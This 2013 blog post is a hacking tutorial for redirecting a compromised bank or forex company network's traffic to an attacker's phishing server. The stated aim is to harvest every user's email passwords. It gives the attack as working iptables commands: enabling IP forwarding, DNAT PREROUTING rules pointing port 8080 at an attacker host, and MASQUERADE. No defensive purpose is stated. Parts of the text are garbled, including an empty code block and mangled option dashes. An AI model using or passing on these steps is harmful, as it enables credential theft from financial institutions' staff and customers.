Friday, 17 May 2013

Spoofing Network Trafic to a New Network (PreRouting and PostRouting Tutorial)

Scenario:- 
Let us Suppose that we Get Shell Access of a Server Within a Network and Network Belongs to a Money Exchanging Company or Forex or Bank ! and We want to Compromise The Bank Login or Email

In Our Case Target is Email : Passwords of Every User , Hacked Machine Over Network is Ubuntu , Access Type: Remote Shell Access ... and We will Mess with IPTables & masquerade 

While Spoofing May Be SOme Victim's May be Not be Spoofed because of Cache or DNS servers may not be yet synced .
Code:
Step 1# One Open Port Forwarding
Code:
Step 2#  sysctl net.ipv4.ip_forward=1
Now We have to add New Rule in Firewall Telling to Forward port 8080 to Port 8080 on another Network 10.10.10.10

Code:
iptables -t nat -A PREROUTING -p tcp –dport 8080 -j DNAT –to-destination 10.10.10.10:8080
Now we Command IPtables to masquerade

Code:
iptables -t nat -A POSTROUTING -j MASQUERADE

Now Its Time For Redirecting Network's Trafic to anOther Network using PREROUTING where Phishing Pages are Being Run...

Code:
iptables -t nat -A PREROUTING -s 1.1.1.1/24 -p tcp –dport 8080 -j DNAT –to-destination 10.10.10.10:8080
Where 1.1.1.1 is Network and 10.10.10.10 is Attackers Setup ...

0 comments:

Post a Comment